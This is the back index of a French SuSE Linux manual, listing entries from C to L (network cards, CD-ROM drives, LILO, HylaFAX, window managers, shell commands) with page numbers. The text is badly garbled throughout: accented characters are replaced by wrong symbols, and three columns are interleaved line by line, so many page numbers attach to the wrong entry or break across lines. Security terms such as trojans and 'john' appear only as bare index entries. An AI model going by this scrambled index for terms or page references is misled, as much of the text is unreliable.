HP PCLAN+ . . . . . . . . . 387 chat . . . . . . 172, 197, 198, 200 Charger . . . . . . . . . . *
*. . . . . 94
IBM Token Ring . . . . . . 389 chevaux de Troie . . . . . . . . 469__ E-Mail . . . . . . . . . . . *
*. . . . 205
ICL EtherTeam . . . . . . . 388 Choisir les logiciels enregistrer . . . . . . . . .*
* . . . . 95
Intel EtherExpress 16 . . 386 Installation . . . . . . . . . . . . 21 Gestionnaire de fenΩtres 286
Intel EtherExpress Pro . 387 Chris Mason . . . . . . . . . . . . . 90 LILO . . . . . . . . . . . .*
* . . . . 123
Intel EtherExpress Pro 100 . Circuit d'horloge . . . . . . . . 254 modifier . . . . . . . . . . *
*. . . . 450
387 Clavier Modifier . . . . . . . . . . *
*. . . . . 95
Lance . . . . . . . . . . . . . . . . 388 CapsLock . . . . . . . . . . . . 452 PremiΦre installation . . . .*
* 39
Novell NE1000/2000 . . 388 DΘlai . . . . . . . . . . . . . . . . . 453 RΘseau . . . . . . . . . . . *
*. . . . 156
SMC 9194 . . . . . . . . . . . . 389 Disposition . . . . . . . . . . . 452 Temps de rΘseau . . . . . . *
*459
SMC Ultra . . . . . . . . . . . 388 NumLock . . . . . . . . . . . . 452 X11 . . . . . . . . . . . . .*
* 240, 251
Token Ring . . . . . . . . . . . 389 RΘpΘtition . . . . . . . . . . . . 453 Configuration du systΦme 114,
WD80x3 . . . . . . . . . . . . . 389 Client 451
Western Digital . . . . . . . 389 FTP . . . . . . . . . . . . . . . . . . 516 Configurations . . . . . . . . *
*. . . 94
Carte son Client NFS . . . . . . . . . . . . . 167 Configurer la sΘcuritΘ du
Pro Audio Spectrum . . . 381 cnews . . . . . . . . . . . . . . . . . . 410 systΦme . . . . . . . . . *
*. . . 114
Cartes ISA . . . . . . . . . . . . . 293 Code source . . . . . . . . . 95, 545 Configurer le temps . . . . . 4*
*59
Cartes PC voir MatΘriel, cartes Compiler . . . . . . . . . . . . . 419 Configurer XFree . . . . . . . *
*114
PC Coherent . . . . . . . . . . . . . . . 500 Connexion au systΦme . . . 482
Cartes rΘseau . . . . . . . . . . . 378 colortbl . . . . . . . . . . . . . . 410 Console . . . . . . . . . . . . *
*460, 513
cat . . . . . . . . . . . . . . . . . . . . . 489Combinaisons de touches 509 virtuelle . . . . . . . . . .*
* . . . . 513
CD . . . . . . . . . . . . . . . . . . . . 544 command not found . . . . . 462 Console texte . . . . . . . . .*
* . . 460
CD dΘfectueux . . . . . . . . . . . 60 Commande . . . . . . . . . . . . . 483 Consoles
CD-ROM df . . . . . . . . . . . . . . . . . . . 496 virtuelles . . . . . . . . . *
*. . . . 485
ATAPI . . . . . . . . . . . . . . . 375 du . . . . . . . . . . . . . . . . . . . 498Consoles virtuelles . . . . . *
*. 485
Aztech . . . . . . . . . . 380, 390 free . . . . . . . . . . . . . . . . . 496Contr⌠leur de disques durs XT
EIDE . . . . . . . . . . . . . . . . 375 kill . . . . . . . . . . . . . . . . . 498 380
Goldstar . . . . . . . . . 381, 390 ps . . . . . . . . . . . . . . . . . . . 498Corel . . . . . . . . . . . . .*
* . . . . . . . . 3
Mitsumi . . . . . . . . . 381, 390 pstree . . . . . . . . . . . . . . 499 Couleurs . . . . . . . . . . . *
*. . . . 279
Mitsumi FX-001(D) . . 381, top . . . . . . . . . . . . . . . . . . 499Courrier . . . . . . . . . voir*
* E-Mail
390 ulimit . . . . . . . . . . . . . . 496 Courrier Θlectronique . . . . 513
Mitsumi multisession . . 381 w . . . . . . . . . . . . . . . . . . . . 498cp . . . . . . . . . . . . . .*
* . . . . . . . 490
Mitsumi, multisession . 390 Commandes CPU . . . . . . . . . . . . . . *
*. . . . . 513
*
* 571
Index _________________________________________________________________________________________________________________*
*_______________________________________@
CrΘer Defrag . . . . . . . . . . . . . . . . . . 55 Amorτage . . . . . . . 134, *
*137
RΘpertoire . . . . . . . . . . . . 486 DensitΘ des i-noeuds . . . . . 514 CrΘer des partitions Linux . .
Utilisateur . . . . . . . . . . . . 482 depmod . . . . . . . . . . . . . . . . 360 55, 56
CrΘer une disquette de secours Description des paquetages 96 Menu de dΘmarrage . . . 143
104 Device . . . . . . . . . . . . . 260, 514 DOS-Disquettes
CRC df . . . . . . . . . . . . . . . . . . . . . 496 AccΦs . . . . . . . . . . . .*
* . . . . 501
Erreur . . . . . . . . . . . . . . . . . 64 dhclient . . . . . . . . . . . . . . . . 204 DOS-Setup . . . . . . . . . . .*
* . . . 50
cron . . . . . . . . . . 409, 413, 442 dhclient . . . . . . . . . . . . . . 414 Drivespace . . . . . . . . . . .*
* . . . . 63
cron . . . . . . . . . . . . . . . . x, 442 DHCP . . . . . . . . . . . . . 188, 458 Droits d'accΦs . 487, 490, 492
cron.daily . . . . . . . . . . . . . . 461 configurer . . . . . . . . . . . . 106 Samba . . . . . . . . . . . *
*. . . . 231
crontab . . . . . . . . . . . . . . . . . 207 dhcpcd . . . . . . . . . . . . . . . . 414 Droits des fichiers . . . . . . *
*. 461
Crontab diald . . . . . . . . . . . . . . 204, 457 DSS1 . . . . . . . . . . . . . *
*. . . . . 176
journellement . . . . . . . . . 413 Digital . . . . . . . . . . . . . . . . . 386 du . . . . . . . . . . . . . . *
*. . . . . . . 498
Ctwm . . . . 267, 270, 282, 283 Digital DEPCA . . . . . . . . . 386 Dummy device . . . . . . . . . .*
* 454
curses . . . . . . . . . . . . . . . . . . 442 Digital Equipment Corporation dump . . . . . . . . . . . . . *
*. . . . . . 77
curses . . . . . . . . . . . . . . x, 442 239 dumpe2fs . . . . . . . . . . . .*
* . . . 441
Curseur . . . . . . . . . . . . 281, 513 Digital Research . . . . . . . . 518 dvips . . . . . . . . . . . . . *
*. . . . . . 340
Cut-and-Paste . . . . . . . . . . . 544 DISPLAY . . . . . . . . . . . . . . . 525
Cyberscheduler Software . . 69 Disposition du clavier 83, 443 E
Cygnus Source-Navigator . 69 YaST . . . . . . . . . . . . . . . . . . 81 E-Mail . . . . . . . . . . . . .*
* . . . . 514
Cyrix . voir Processeur, Cyrix Disque dur Configuration . . . . . . . .*
* . 205
686 ParamΦtres . . . . . . . . . . . 376 e2fsck . . . . . . . . 438, 440*
*, 441
SupplΘmentaire . . . . . . . 546 Manual-Page . . . . . . . . *
*. 537
D Disque virtuel 2fsck . . . . . . . . . . . .*
* . . . . . . 537
D-Link DE620 . . . . . . . . . . 389 Disque virtuel initial . . . 453 Eagle . . . . . . . . . . . . .*
* . . . . . . 69
DΘbuts . . . . . . . . . . . . . . . . . 481 Disquette Eberhard M÷nkeberg . . . . . 10
dΘfragmenter . . . . . . . . . . . 545 dΘmarrer α partir de . . . 119 Editoren
DΘmarrage disquette d'amorτage . . . . 119 vi . . . . . . . . . . . . . *
*. . . . . . . 506
α partir de disquette . . . . . 57 Disquette d'amorτage . . . . 122 editres . . . . . . . . . . . .*
* . . . . . 287
DΘmon . . . . . . . . . . . . . . . . . 514 CrΘation avec dd . . . . . . . 58 Effacer
named . . . . . . . . . . . . . . . 457 gΘnΘrer (avec LILO) . . . 132 Fichier . . . . . . . . . . .*
* . . . . 490
nscd . . . . . . . . . . . . . . . . . 457 Installer avec . . . . . . . . . . . 29 RΘpertoire . . . . . . . . . *
*. . . 486
routed . . . . . . . . . . . . . . . . 457 Disquette de secours . . . . . 438 EIDE, chipsets . . . . . . . . .*
* . 376
rwhod . . . . . . . . . . . . . . . . 457 Disquettes d'amorτage ELF . . . . . . . . . . . . . .*
* . . . . . 515
DΘmon cron . . . . . . . . . . . . 461 CrΘer avec Setup . . . . . . . 57 emacs . . . . . . . . . . . *
*. . . . 9, 514
dΘmon kerneld . . . . . . . . . . 448 DNS . . . . . . . . . . . . . . . . . . . 455 Emacs 4, 9, 70, 210, 409, 420,
DΘmon kerneld . . . . . 361, 453 Timeout . . . . . . . . . . . . . . 413 443, 517
DΘmon RPC mount . . . . . . 167 doc . . . . . . . . . . . . . . . . . . . . 481 Email . . . . . . . . . . . . . *
*. . . . . 171
DΘmon RPC NFS . . . . . . . 167 docbkdsl . . . . . . . . . . . . . . 410 emm386.exe . . . . . . 44, 50, *
*51
DΘmon Secure Shell . . . . . 459 DocBook . . . . . . . . . . . . . . . 410 emu10k1 . . . . . . . . . . . .*
* . . . 305
DΘsinstallation dochost . . . . . . . . . . . . . . . . . . 69 Encryptage . . . . . . . . . . *
*. . . 515
LILO . . . . . . . . . . . . . . . . 130 dochost . . . . . . . . . . . 436, 437 Enlightenment . . . . . . 267, 2*
*69
DΘterminer la langue . . . . . 83 Documentation . . . . . . . 8, 435 EntrΘe . . . . . . . . . . . . .*
* . . . . . 483
Daemon . . . . . . . . . . . . . . . . 514 Fichier . . . . . . . . . . . . . . . . . 9 EntrΘe/sortie standard . . . . 5*
*15
Dateisystem Lire . . . . . . . . . . . . . . . . . . . . 9environnement chroot . . . . . *
*93
TeX . . . . . . . . . . . . . . . . . . 423 Serveur pour la Environnnement . . . . . . . . *
*515
DB2 . . . . . . . . . . . . . . . . . . . 460 documentation . . . . . . 458 Erreur . . . . . . . . . . . . .*
* . . . . . 544
DCF77 . . . . . . . . . . . . . . . . . 459 docview Ethernet . . . . . . . . . . . .*
* . . . . 516
DE203 . . . . . . . . . . . . . . . . . 386 SuSEFax . . . . . . . . . . . . . 216 EtherTeam 16i/32 . . . . . . . *
*388
DE204 . . . . . . . . . . . . . . . . . 386 Domaine . . . . . . . . . . . . . . . 162 Eumex 322 PCi . . . . . . . . .*
* 196
DE205 . . . . . . . . . . . . . . . . . 386 Domaine DNS . . . . . . . . . . 166 Eumex 404 PC . . . . . . . . . .*
* 196
DEC . . . . . . . . . . . . . . . . . . . 239 Domaine NIS . . . . . . . . . . . 166 Explorer . . . . . . . . . . . .*
* . . . . . 64
defrag . . . . . . . . . . . . . . . . . . . 55 DOS . . . . . . . . . . . . . . . . . . . 500 Exporter . . . . . . . . . . . .*
* . . . . 167
572
___________________________________________________________________________________________________________________________I*
*ndex__________________
exports . . . . . . . . . . . . . . . . . 168 Fichier texinfo . . . . . . . . . . . . 9 Partition . . . . . voir Part*
*ition,
EXT2 . . . . . . . . . . . . . . . . . . 516 Fichier texte Formatage
Lire . . . . . . . . . . . . . . . . . . . . 9Formater des disquettes . . . 58
F Fichiers Formation . . . . . . . . . . . *
*. . . 563
FAI . . . . . . . . . . . . . . . . . . . . 516 Attributs . . . . . . . . . . . . . 490 Formation Linux . . . . . . . . *
*563
FAQ . . . . . . . . . . . . . . . . . . . 541 cachΘs . . . . . . . . . . . 490, 535 Fortify . . . . . . . . . . . . *
*. . 69, 413
FAT32 . . . . . . . . . . . . . . . . . . . 56 Droits d'accΦs . . . . . . . . 490 FrΘquence horizontale . . . 253
Fax Impossible de dΘplacer . . 59 FrΘquence verticale . . . . . . *
*253
Hylafax . . . . . . . . . . . . . . 459 Recherche . . . . . . . . . . . . . 98 fr_howto . . . . . . . . . . . *
*. . . . . 9
Fax sΘrie Fichiers cachΘs . . . . . . . . . . 490 free . . . . . . . . . . . . *
*. . . . . . . 496
SuSEFax . . . . . . . . . . . . . 219 Fichiers core . . . . . . . . . . . . 496 Free Software Foundation
fax2ps . . . . . . . . . . . . . . . . . 216 Fichiers de configuration . 158 (FSF) . . . . . . . . . .*
* . . . . 517
faxcover . . . . . . . . . . . . . . . . 220 Fichiers temporaires Freecom . . . . . . . . . . . . *
*. . . . . 62
faxcover . . . . . . . . . . . . . . 220 Effacement . . . . . . . . . . . 462 Frequently Asked Questions . .
FaxCovergen.class . . . . . . 220 file . . . . . . . . . . . . . . . . . . . . . 340 541
FaxCovergen.class File d'impression fsck . . . . . . . . . . . . . .*
* . . . . . . . 77
SuSEFax . . . . . . . . . . . . . 220 DΘfinition . . . . . . . . . . . . 334 FSSTD . . . . . . . . . . . . . *
*. . . . 423
faxgetty . . . . . . . 222, 223, 227 File de rΘception . . . . . . . . 218 fstab . . . . . . . . . . . . . *
*. . . . . . 500
faxmodem . . . . . . . . . . . . . . 222 File Transfer Protocol . . . . 221 ftape . . . . . . . . . . . . . *
*. . . . . . 314
faxprint . . . . . . . . . . . . . . 221 Files . . . . . . . . . . . . . . . . . . . 260 ftp . . . . . . . . . . . . 106,*
* 173, 535
faxq . . . . . . . . . . . . . . . . . . . 222 Files d'impression FTP . . . . . . . . . . . . . . *
*. . . . . . 516
faxsetup . . . . . . . . . . . . . . . . 459 avec apsfilter . . . . . . . . . 341 Anonymes FTP . . . . . . . 4*
*14
fdisk . . . . 55, 56, 75, 122, 130, Utilisation de . . . . . . . . . 335 Client . . . . . . . . . . . *
*. . . . . 516
132, 136, 137, 438, 440, Filtrage de paquets . . . . . . 201 Serveur . . . . . . . . . . *
*. . . . 516
441 Filtre de paquets . . . . . . . . 201 ftpdir . . . . . . . . . . . . *
*. . . . 423
mbr . . . . . . . . . . . . . . . . . . 131 Filtres Fujitsu FMV-181/182/183/184
FEATURE . . . . . . . . . . . . . . . 341 apsfilter . . . . . . . . . . . . . . 340 387
FenΩtre . . . . . . . . . . . . . . . . . 516 Configuration apsfilter . 341 Future Domain . 374, 375, 384
FenΩtre de terminal . . . . . . 543 d'impression . . . . . . . . . . 339 fvwm . . . . . . . . . . . . . *
*. . . . . 249
fetchnews . . . . . . . . . . 208, 210 Filtres d'impression . . . 338 Fvwm vii, 267, 268, 270, 277,
fhs . . . . . . . . . . . . . . . . . . . . 423 Filtres d'impression . 338, 339 282~285
Fichier . . . . . . . . . . . . . . . . . 516 apsfilter . . . . . . . . . . . . . . 340 Fvwm . . . . . . . . . . . .*
* . . . 277
. . . . . . . . . . . . . . . . . . . . . 492 Configuration apsfilter . 341 CaractΦres . . . . . . . . . *
*. . . 279
.tar.gz . . . . . . . . . . . . . 492 pour imprimantes rΘseau . . . Configuration . . . . . . . .*
* . 278
.tgz . . . . . . . . . . . . . . . . . 492 346 Configuration des couleurs .
Archivage . . . . . . . . . . . . 492 find . . . . . . . . . . . . . . . . . . . . 440 279
Attributs . . . . . . . . . 487, 492 find . . . . . . . . . . . . . . . . . . . 491 Configuration des polices . .
Commandes . . . . . . . . . . 486 finger . . . . . . . . . . . . . . . . . . 535 279
Copier . . . . . . . . . . . . . . . 490 fips . . . . . . . . . . 35, 54, 64, 546 Configurer . . . . . . . . . *
*. . . 278
DΘplacer . . . . . . . . . . . . . 490 fips.exe . . . . . . . . . . . . . . 55, 56 Couleurs . . . . . . . . . .*
* . . . 279
Droits d'accΦs . . . . . . . . 487 Firewall . . . . . . . 201, 476__, 545 Curseur . . . . . . . . . . *
*. . . . 281
Effacer . . . . . . . . . . . . . . . 490 Filtre de paquets Firewall . . ParamΘtrer . . . . . . . . . .*
* . . . 281
Explorer . . . . . . . . . . . . . . 491 476 DΘmarrage . . . . . . . 277, *
*278
Lien . . . . . . . . . . . . . . . . . 491 firewals . . . . . 202, 473, 476 DΘmarrage trop lent . . . 284
Rechercher . . . . . . . . . . . 491 Floppy . . . . . . . . . . . . . . . . . 379 Fichiers de configuration . .*
* .
Renommer . . . . . . . . . . . 490 Florian La Roche . . . . . . . . . 10 277
Fichier de configuration . . 451 Focus . . . . . . . . . . . . . . . . . . 516 GΘnΘralement . . . . . . . . *
*. 277
Fichier de traces (log) . . . . 462 Fonctionnement Ic⌠nes . . . . . . . . . . . *
*. . . . . 280
Fichier FAQ . . . . . . . . . . . . . . . 9 HylaFAX . . . . . . . . . . . . . 221 ParamΘtrer . . . . . . . . . .*
* . . . 280
Fichier FIFO . . . . . . . . . . . . 222 Format de paquetages . . . . 415 Image d'arriΦre-plan . . . 278
Fichier HOWTO . . . . . . . . . . 9 Format du papier Polices . . . . . . . . . . .*
* . . . . 279
Fichier info . . . . . . . . . . . . . . . 9 SuSEFax . . . . . . . . . . . . . 216 Fvwm . . . . . . . . . . . . . .*
* . . . . 278
Fichier README . . . . . . . . . 9 Formatage Fvwm1 . . . . . . . . . . . . 28*
*2, 283
*
* 573
Index _________________________________________________________________________________________________________________*
*_______________________________________@
Fvwm1 . . . . . . . . . . . . . . 277 gnorpm . . . . . . . . . . . . . . . . 421 hosts . . . . . . . . . . . . .*
* . 158, 159
fvwm2 . . . . . . . . . . . . . . . . . . 277GNU . . . . . . . . . . . . . . 443, 517 howto . . . . . . . . . . . . . *
*. . . . . 330
Fvwm2 . . . . . . . 265, 268, 277 GNU Emacs . . . . . . . . . . . . 514 howtodeh . . . . . . . . . . . .*
* . . 435
seeFvwm . . . . . . . . . . . . . 277 GNU Zip . . . . . . . . . . . . . . . 492 howtoen . . . . . . . . . . . .*
* . . . . . 9
Fvwm95 . . 267, 270, 282~285 gnuhtml . . . . . . . . . . . . . . . 412 howtoenh . . . . . . . . . . . .*
* . . 435
FvwmBanner . . . . . . . . . . . 278 GNU C/C++ Compiler . . . . . 4 HP 10/100 VG-AnyLAN . 388
FvwmIdent . . . . . . . . . . . . . 280 Goldstar, CD-ROM . 381, 390 HP Eloquence . . . . . . . . . .*
* . . 69
GPL . . . . . . . . . . . . . . . 481, 549 HP PCLAN . . . . . . . . . . . .*
* . 388
G gpm . . . . . . . . . . . . 42, 453, 544 HP PCLAN+ . . . . . . . . . . .*
* 387
g3utils . . . . . . . . . . . . . . . 211 Gpm . . . . . . . . . . . . . . . . . . . 453 ht ://Dig . . . . . . . . . . . *
*. . . . . 437
gcc . . . . . . . . . . . . . . . . . . . . 359 GPM . . . . . . . . . . . . . . . . . . . 453 htdig . . . . . . . . . . . . . *
*. . . . . . . 69
GEM . . . . . . . . . . . . . . . . . . 518 grep . . . . . . . . . . . . . . . . . . . 440 htdig . . . . . . . . . . . . . *
*436, 437
Gestion grep . . . . . . . . . . . . . . . . . . . 491http . . . . . . . . . . . . . *
*. . . . . . . 173
Groupes . . . . . . . . . . . . . . 112 group . . . . . . . . . . . . . . . . . . 166 http-rman . . . . . 435, 436, 4*
*58
Utilisateurs . . . . . . . . . . . 111 Groupes httpd . . . . . . . . . . . . . *
*. . . . . . 458
Gestion d'Θnergie . . . . . . . 327 Gestion . . . . . . . . . . . . . . 112 hylafax . . . . . . . . . . . 21*
*1, 220
Gestionnaire d'amorτage . 117 gs . . . . . . voir Ghostscript, 348 HylaFAX . . vi, 211, 217, 221__,
boot.sys . . . . . . . . . . . . . . 119 gs . . . . . . . . . . . . . . . . . . . . . 101 221~223, 228
LILO . . . . . . . . . . . . . . . . 119 GS_RESOL . . . . . . . . . . . . . . 354 hyperref . . . . . . . . . . . .*
* . . 410
OS/2 . . . . . . . . . . . . . . . . . 119 gs_x11 . . . . . . . . . . . . . . . . 216 Hypertexte . . . . . . . . . . .*
* . . . . . 8
Windows NT . . . . . . . . . 119 gsview . . . . . . . . . . . . . . . . . 10
Gestionnaire d'impression(lpd) gtkndev . . . . . . . . . . . . . . . 411 I
337 gv . . . . . . . . . . . . . . . . . . . . . 216I-noeud . . . . . . . . . . . *
*. . . . . 517
Gestionnaire de fenΩtres . 516 gv . . . . . . . . . . . . . . . . . . . . . 481I-noeuds
Configuration . . . . . . . . . 286 gv . . . . . . . . . . . . . . . . . . . . . 216 densitΘ . . . . . . . . . . .*
* . . . . 108
Configurer . . . . . . . . . . . . 110 gv . . . . . . . . . . . . . . . . . . 10, 216 DensitΘ . . . . . . . . . . .*
* . . . . . 91
DΘmarrage . . . . . . . . . . . 277 gzip . . . . . . . . . . . . . . . . . 47, 73 i4l . . . . . . . . . . . 108, 1*
*76, 450
Fonctions . . . . . . . . . . . . . 268 gzip . . . . . . . . . . . . . . . . . . . 492i4ldoc . . . . . . . . . . . . *
*176, 184
Fvwm . . . . . . . . . . . . . . . 277 i82365 . . . . . . . . . . . . *
*. . . . . 324
thΘorie de base . . . . . . . . 265 H i82557/i82558 . . . . . . . . .*
* . 387
Gestionnaire de files d'attente halt . . . . . . . . . . . . . . . . . . . . 449i-noeuds . . . . . . . . . . . *
*. . . . . . 91__
HylaFAX . . . . . . . . . . . . . 222 Hans Lermen . . . . . . . . . . . . 10 IBM . . . . . . . . . . . . . . *
*. . . 3, 522
gestionnaire de pΘriphΘriques . Hans Reiser . . . . . . . . . . . . . . 90 IBM OS/2 . . . . . . . . . . . .*
* . . 500
318, 319, 325 Harald K÷nig . . . . . . . . . . . . 10 IBM Thinkpad . . . . . . . . . .*
* 380
Gestionnaire de paquetages . . hardsuse . . . . . . . . . . . . . . 474 ICL EtherTeam . . . . . . . . .*
* 388
415 Hardware ICN . . . . . . . . . . . . . . *
*. . . . . . 176
getty . . . . . . . . . . . . . . . . . . . 227 CardBus . . . . . . . . . . . . . . 317 Icons . . . . . . . . . . . . . *
*. . . . . . 280
Ghostscript . . . . . . . . . . . . . 102 PC-Karten . . . . . . . . . . . . 317 Identification . . . . voir Mot*
* de
Ghostscript . . . . 101, 340, 347 Hauppauge WIN/TV . . . . 315 passe
uniprint . . . . . . . . . . . . . . 349 hdparm . . . . . . . . . . . . . . . . . 329 Identifier . . . . . . . . . . *
*. . . . . 262
GhostScript . . . . . . . . . . . . . 102 hfaxd . . . . . . . . . . . . . . . . . . 221 ifconfig . . . . . . . . . . . .*
* 440, 455
ghostview . . . . . . . . . . . . . . 280 Hibernation . . . . . . . . . . . . . 327 ifport . . . . . . . . . . . . *
*. . . . . . 326
Ghostview . . . . . . . . . . . . . . 481 HiSax . . . . . . . . . . . . . . . . . . 176 Image d'arriΦre-plan . . . . . 2*
*78
GhostView . . . . . . . . . . . . . 216 HOME 270, 274, 287, 346, 524, imlibdev . . . . . . . . . . . .*
* . . 411
GhostView . . . . . . . . . . . . . 216 527 Importer . . . . . . . . . . . .*
* . . . . 167
glibc . . . . . 409~411, 438, 517 Horloges radio . . . . . . . . . . 459 Impression . . . . . . . . . . *
*. . . 333
glibndev . . . . . . . . . . . . . . 411 host.conf . . . . . . . . . . . . . . . 160 α distance . . . . . . . . .*
* . . . 339
glimpse . . . . . . . . . . . . . . . 412 alert . . . . . . . . . . . . . . . . . 159 Comptes . . . . . . . . . . *
*. . . 346
gnlibsd . . . . . . . . . . . . . . . 411 multi . . . . . . . . . . . . . . . . . 159 lancer lpd . . . . . . . . .*
* . . . 458
GNOME 4, 69, 267, 269, 282, nospoof . . . . . . . . . . . . . . 159 remote . . . . . . . . . . .*
* . . . . 342
421 order . . . . . . . . . . . . . . . . . 159 Samba . . . . . . . . . . . *
*. . . . 108
Compiler . . . . . . . . . . . . . 411 trim . . . . . . . . . . . . . . . . . . 159 Vue d'ensemble . . . . . . . *
*333
GNOME Panel . . . . . . . . . . 283 HOSTNAME . . . . . . . . . . . 163 Imprimante
574
___________________________________________________________________________________________________________________________I*
*ndex__________________
Configuration . . . . . . . . . 101 Pilotes SCSI . . . . . . . . . . 362 Support . . . . . . . . . . *
*. . . . . 83
Imprimante rΘseau . . . . voir inittab . . . . . . . . . . . . . . . . . . 445 Taille . . . . . . . . . . .*
* . . . . . . 94
Imprimante rΘseau inn . . . . . . . . . . . . . . . 208, 410 VΘrifier les paramΦtres . . 25
Machine Windows comme INN . . . . . . . . . . . . . . . . . . . 458 via FTP . . . . . . . . . . *
*. . . . . 87
serveur d'impression 108 insmod . . . . . . . . . . . . 360, 361 via NFS . . . . . . . . . . .*
* . . . . 85
Novell NetWare comme ParamΦtres . . . . . . . . . . . 367 YaST2 . . . . . . . . . . . *
*. . . . . 18
serveur d'impression 108 Installation Installation des paquetages 96
ParamΦtres du noyau . . 382 ╔cran d'accueil . . . . . . . . 16 Installer X . . voir Installati*
*on,
Port parallΦle voir MatΘriel, └ partir du disque dur . . . 46 installer X
Port parallΦle α partir d'une partition du Insure++ . . . . . . . . . . . *
*. . . . . 69
Terminer l'impression . 337 disque dur . . . . . . . . . . 84 IntΘgrer la souris . voir YaST2,
Imprimante rΘseau Abandon de la premiΦre intΘgrer la souris
Configuration . . . . . . . . . 107 installation . . . . . . . . . . 64 IntΘgrer le clavier . . . . . . *
*. voir
Imprimantes avec YaST1, mode texte . 28 YaST2, intΘgrer le clavier
DΘmon . . . . . . . . . . . . . . . 337 Avec YaST2 . . . . . . . . . . . 15 Intel EtherExpress 16 . . . . 386
Imprimantes GDI . . . . . 354 Choisir le disque dur . . . . 20 Intel EtherExpressPro . . . . 387
Lexmark . . . . . . . . . . . . . 354 Choisir les logiciels . . . . . 21 Intel EtherExpressPro 100 387
Liste de contr⌠le . . . . . . 354 Configurer le dΘmarrage du Interface . . . . . . . . . . .*
* . . . . 517
supportΘes . . . . . . . . . . . . 349 systΦme . . . . . . . . . . . . . 23 Interface graphique . . . . . . *
*518
Windows only . . . . . . . . 354 Configurer les composants Interfaces
Imprimantes GDI . . . . . . . 354 du systΦme . . . . . . . . . . 26 parallΦles . . . . . . . . . *
*. . . . 333
Imprimantes rΘseau . . . . . . 338 Connexion aprΦs installation Internet . . . . . . . . . . . .*
* 518, 543
PrΘfiltrage . . . . . . . . . . . . 346 27 Configurer PPP . . . . . . .*
* 190
Imprimer CrΘer un compte utilisateur . PPP et les utilisateurs . . 1*
*93
horizontal . . . . . . . . . . . . 341 24 Internet Services Daemon
Novell NetWare . . . . . . . 108 d'un rΘpertoire . . . . . . . . . 86 inetd . . . . . . . . . . . .*
* . . . . . 456
Noyau 2.2.x . . . . . . . . . . 410 dΘsinstaller les paquetages . xinetd . . . . . . . . . . . *
*. . . . . 456
Serveur d'impression . . 338 415 InterprΘteur de commandes . . .
Inclure des partitions Windows Depuis... . . . . . . . . . . . . . . 83 518
91 du CD-ROM . . . . . . . . . . . 84 Invite . . . . . . . . . . . . *
*. . . . . . 518
Index de toutes les sΘries et FTP . . . . . . . . . . . . . . . . . . . 48 IP Forwarding . . . . . . . . .*
* . 455
paquetages . . . . . . . . . . 98 Installer le gestionnaire IP-Masquerade
inetcfg . . . . . . 184, 197, 198 d'amorτage . . . . . . . . . . 23 IP-Forwarding . . . . . . . *
*. 455
inetd . 40, 106, 157, 163, 209, installer les paquetages 415 ipchains . . . . . . . . . . . .*
* . . . . 473
436, 456, 475, 476, 479 Installer X . . . . . . . . . . . . . 26 IPv6 . . . . . . . . . . . . . *
*. . . . . . 413
Inetd . . . . . . . . . . . . . . . . . . . 222 Lecteur de CD-ROM IPX . . . . . . . . . . . . . . *
*. . . . . . 230
inf2htm . . . . . . . . . . . . . . . 436 connectΘ α son propre IRC . . . . . . . . . . . . . . *
*. . . . . . 456
info . . . . . . . . . . . . . . . . 9, 443 contr⌠leur . . . . . . . . . . . 62 irda . . . . . . . . . . . . . .*
* . . . . . 330
Info . . . . . . . . . . . . . 9, 443, 542 Lecteurs de IrDA . . . . . . . . . . . . . .*
* . . . . . 330
Info (info ) . . . . . . . . . . . . . 443 CD-ROM-Laufwerk sur Imprimante . . . . . . . . . *
*. . 331
Informations sur le systΦme . . port parallΦle . . . . . . . . 62 ISA PnP
429 LILO . . . . . . . . . . . . . . . . 130 Initialiser . . . . . . . . .*
* . . . . 453
Informations sur les Mise α jour . . . . . . . . . . . . 19 isapnp . . . . . . . . . . . . .*
* 294, 296
paquetages . . . . . . . . . . 96 Mot de passe root . . . . . . 24 isapnp . . . . . . . 294, 296, *
*299
Informix . . . . . . . . . . . . . . . . . . 3 NFS . . . . . . . . . . . . . . . . . . 48 ISApnp . . . . . . . . . . . . *
*. . . . 294
Infoviewer . . . . . . . . . . . . . . . . 9 paquetages . . . . . . . . . . . . . 97 ISDN . . . . . . . . . . . . . *
*. . . . . 518
Infrared Data Association voir Partition DOS comme Configuration . . . . 173, 1*
*75
IrDA source . . . . . . . . . . . . . . . 46 YaST . . . . . . . . . . . .*
* . . . . 176
init x, 132, 440, 445~448, 522 PCMCIA . . . . . . . . . . . . . 326 isdn4linux . . . . . . . . . . .*
* . 175
Scripts . . . . . . . . . . . . . . . 448 Plan prΘliminaire . . . . . . . 15 isdnctrl . . . . . . . . . . . .*
* . . . . . 175
Init . . . . . . . . . . . . . . . . . . . . 221 PremiΦre installation . . . . 15 isdnlog . . . . . . . . . . . . *
*. . . . . 179
initial ramdisk . . . . . . . . . . 424 RΘseau comme source . . 48 ISP . . . . . . . . . . . . . .*
* . . . . . . 519
initrd . . . . . . . . . . . . . . . . . . . 453 SΘlectionner la langue . . 18 ISP16 . . . . . . . . . . . . .*
* 381, 391
*
* 575
Index _________________________________________________________________________________________________________________*
*_______________________________________@
J LAN Manager . . . . . . 229, 500 Ligne de dΘpannage . . . . . 560
jade_dsl . . . . . . . . . . . . . . 409 Lance . . . . . . . . . . . . . . . . . . 379 LILO . . . . . . . . . . . . *
*. . . . . . . 117
Jeu de widgets Qt LANG . . . . . . . . . . . . . . . . . . . 452 LILO . . . . . . . . . . . . . *
*. . . . . 117
Licence . . . . . . . . . . . . . . 271 Langue LILO . ii, iv, v, 23, 24, 26, 3*
*8,
Job (Fax-) ParamΘtrer . . . . . . . . . . . . 452 45, 68, 91, 104~106, 117,
SuSEFax . . . . . . . . . . . . . 215 Laptop . . . . . . . . . . . . . . . . . 317 119~124, 126~142, 323,
joe . . . . . . . . . . . . . . . . . . . . . 514latex-cover . . . . . . . . . . . . . 220 361, 364, 365, 367, 368,
john . . . . . . . . . . . . . . . . . . . 467 latex-cover . . . . . . . . . . . . . 220 370, 384, 407, 424, 425,
jurix . . . . . . . . . . . . . . . . . . . . 10latex-cover . . . . . . . . . . 220 427, 432, 447, 467, 520,
534, 568
K LC_*LD.A.P.-.S.e.r.v.e.r. ..................452..458Amorτage d'OS/2 . . . . . 136
kardinfo . . . . . . . . . . . . . . . . 326 ldconfig . . . . . . . . . . . . . . . . 414 Amorτage de DOS/Win95 .
kbatmon . . . . . . . . . . . . . . . . 329 ldp . . . . . . . . . . . . . . . . . . . . 435 134
KDE 4, 67, 69, 110, 173, 192, leafnode . . . . . . . 208~210, 412 Amorτage de Windows NT .
265, 267~271, 282, 407, leafnode . . . . . 208, 209, 410 135
421, 543 Leafnode . . . vi, 208 , 208, 209 Amorcer DOS et OS/2 . 137
